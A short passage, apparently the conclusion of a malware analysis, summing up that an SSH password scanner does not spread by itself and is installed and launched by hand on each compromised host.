To conclude, this is a simple SSH password scanner. It’s simple in the sense it doesn’t propagate itself. The hacker has to manually install and launch it in a newly acquired host.